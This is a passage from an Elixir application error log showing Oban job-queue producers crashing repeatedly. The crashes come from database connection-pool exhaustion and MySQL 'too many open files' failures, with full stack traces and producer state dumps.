    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:58:02.255831Z], limit: 10, uuid: "4bcea630-aaf1-442d-8c09-0fe6fa8a720b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:02.255836Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.13177>, refresh_timer: #Reference<0.2525715032.1121189889.149236>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:14.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 814ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:58:02.251994Z], limit: 3, uuid: "b747eef5-71f1-4583-aa1d-474121e37525", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:02.251999Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.13113>, refresh_timer: #Reference<0.2525715032.1077673987.13106>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:18.762000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:19.060000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:22.164000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:23.876000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:24.277000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:58:14.239474Z], limit: 5, uuid: "c0d6a851-d708-4a5b-8a60-0d3369605b43", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:14.239479Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.13515>, refresh_timer: #Reference<0.2525715032.1068498948.40892>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 871ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:58:14.239028Z], limit: 20, uuid: "be458aa3-35d5-4d4d-9b94-208d123c2cf2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:14.239035Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.13512>, refresh_timer: #Reference<0.2525715032.1077673987.13474>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:25.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:58:14.239154Z], limit: 5, uuid: "181e51f1-77cb-4989-94db-aa2f9957dfd6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:14.239159Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.13513>, refresh_timer: #Reference<0.2525715032.1077673987.13473>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:25.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 851ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:58:14.239351Z], limit: 10, uuid: "e4a09a1f-d9bf-4645-a7c6-aaed9f90570f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:14.239357Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.13514>, refresh_timer: #Reference<0.2525715032.1068498948.40887>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:25.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:58:14.239479Z], limit: 50, uuid: "53c204c7-8ee9-49fb-b08c-b24e63b40f91", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:14.239485Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.13516>, refresh_timer: #Reference<0.2525715032.1099431938.37881>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:25.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 863ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:58:14.239593Z], limit: 3, uuid: "0fe32dfd-c65b-4dac-95e0-e62e077933a7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:58:14.239598Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.13517>, refresh_timer: #Reference<0.2525715032.1099431938.37883>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:58:25.905000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:29.924000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:29.947000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:31.203000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:31.837000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:37.152000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:58:38.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1086ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
